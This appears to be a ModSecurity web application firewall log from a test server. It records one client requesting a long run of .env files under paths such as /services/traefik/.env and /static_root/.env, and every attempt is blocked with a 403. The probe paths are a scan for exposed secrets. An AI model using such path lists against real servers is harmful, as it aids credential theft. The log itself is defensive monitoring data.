[Wed Feb 25 06:05:35.194778 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibaAAAAAA&quot;]
[Wed Feb 25 06:05:35.233996 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/monitoring/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibaQAAAAA&quot;]
[Wed Feb 25 06:05:35.234271 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibaQAAAAA&quot;]
[Wed Feb 25 06:05:35.234451 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibaQAAAAA&quot;]
[Wed Feb 25 06:05:35.379814 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/portainer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibagAAAAA&quot;]
[Wed Feb 25 06:05:35.380054 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibagAAAAA&quot;]
[Wed Feb 25 06:05:35.380225 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibagAAAAA&quot;]
[Wed Feb 25 06:05:35.402233 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/redis-commander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibawAAAAA&quot;]
[Wed Feb 25 06:05:35.402529 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibawAAAAA&quot;]
[Wed Feb 25 06:05:35.402693 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibawAAAAA&quot;]
[Wed Feb 25 06:05:35.513932 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY-wAAAAc&quot;]
[Wed Feb 25 06:05:35.514172 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY-wAAAAc&quot;]
[Wed Feb 25 06:05:35.514358 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_prod/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY-wAAAAc&quot;]
[Wed Feb 25 06:05:35.521042 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/registry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbAAAAAA&quot;]
[Wed Feb 25 06:05:35.521270 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbAAAAAA&quot;]
[Wed Feb 25 06:05:35.521422 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbAAAAAA&quot;]
[Wed Feb 25 06:05:35.554682 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_AAAAAc&quot;]
[Wed Feb 25 06:05:35.554905 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_AAAAAc&quot;]
[Wed Feb 25 06:05:35.555061 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_root/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_AAAAAc&quot;]
[Wed Feb 25 06:05:35.573334 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/simcore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbQAAAAA&quot;]
[Wed Feb 25 06:05:35.573551 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbQAAAAA&quot;]
[Wed Feb 25 06:05:35.573696 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbQAAAAA&quot;]
[Wed Feb 25 06:05:35.613270 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/traefik/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbgAAAAA&quot;]
[Wed Feb 25 06:05:35.613506 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbgAAAAA&quot;]
[Wed Feb 25 06:05:35.613660 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbgAAAAA&quot;]
[Wed Feb 25 06:05:35.649573 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sessions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbwAAAAA&quot;]
[Wed Feb 25 06:05:35.649807 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbwAAAAA&quot;]
[Wed Feb 25 06:05:35.649962 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sessions/.env&quot;] [unique_id &quot;aZ6DH2Xxsr5IXP-ltRibbwAAAAA&quot;]
[Wed Feb 25 06:05:35.672272 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /static_user/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_QAAAAc&quot;]
[Wed Feb 25 06:05:35.672505 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_QAAAAc&quot;]
[Wed Feb 25 06:05:35.672667 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static_user/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_QAAAAc&quot;]
[Wed Feb 25 06:05:35.717046 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staticfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_gAAAAc&quot;]
[Wed Feb 25 06:05:35.717285 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staticfiles/.env&quot;] [unique_id &quot;aZ6DH4v6AM5Bs3q_JQDY_gAAAAc&quot;]
